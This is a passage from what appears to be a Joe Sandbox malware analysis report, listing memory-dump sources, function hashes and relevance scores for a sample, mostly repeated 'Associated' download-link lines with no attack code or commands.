Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction ID: 7b933dd8ebfa31352618b0811c4568bd173aed6599c95f83271f96300c653794
Opcode Fuzzy Hash: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction Fuzzy Hash: 4CF13C71E002199FDF14DFA8C8806ADBBF1FF48714F2582AAD919AB355D731AE41CB90

Function 00B5CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00B5CF52,?,00000003,00000003,?,00B5CF87,?,?,?,00000003,00000003,?,00B5C4FD,00B42FB9,00000001), ref: 00B5CC03

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 193a6cec0b068beace66645419fa3632d673e5d7eae796ad11a5bf98c4bfe023
Instruction ID: ab97b0858db748b124602afb47afb6f1be71d36218a783754e0e204734b4dc06
Opcode Fuzzy Hash: 193a6cec0b068beace66645419fa3632d673e5d7eae796ad11a5bf98c4bfe023
Instruction Fuzzy Hash: 06D0223260263CAB8A163B84EC089ADBF99DA01B1130000D2ED0833120CE106C005BE0

Function 00B77F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00B780B2

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 64669babd631c3e79488d27d076faf6f68bd25e965727fa38eff46ce7159b6c7
Instruction ID: 94eff4c6a74022a667cbcc085fb4137541f2162ec3c88573fc1f55f0e2cce673
Opcode Fuzzy Hash: 64669babd631c3e79488d27d076faf6f68bd25e965727fa38eff46ce7159b6c7
Instruction Fuzzy Hash: 9B516C702C87845ADB388A2889DD7BE67DADB12300F14C5E9E47FEF291CE51DD498352

Function 00B44DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee53d0d8603aa6a9489ae37db9f27b5becb3015862e5e24a2c0d88605e2db1be
Instruction ID: 0194b45b2215103fbf0c9b9f5dbc176da51b908f07418bdb52efc52d588282f6
Opcode Fuzzy Hash: ee53d0d8603aa6a9489ae37db9f27b5becb3015862e5e24a2c0d88605e2db1be
Instruction Fuzzy Hash: 002260B3F515144BDB0CCA9DDCA27ECB2E3BFD8218B0E803DA40AE3745EA79D9158644

Function 00B87049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde5266c897837a7911f01ed87af4879ea0185816cb8746b46230c4543c80c6e
Instruction ID: 48e29c7f0b557e51e4b519dc948067ed68e78c54ef0f303163f13efa127db28b
Opcode Fuzzy Hash: cde5266c897837a7911f01ed87af4879ea0185816cb8746b46230c4543c80c6e
Instruction Fuzzy Hash: 0FB16D31614605CFD724DF28C48AB657BE1FF45368F298698E899CF2B1C735E982CB40

Function 00B44B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
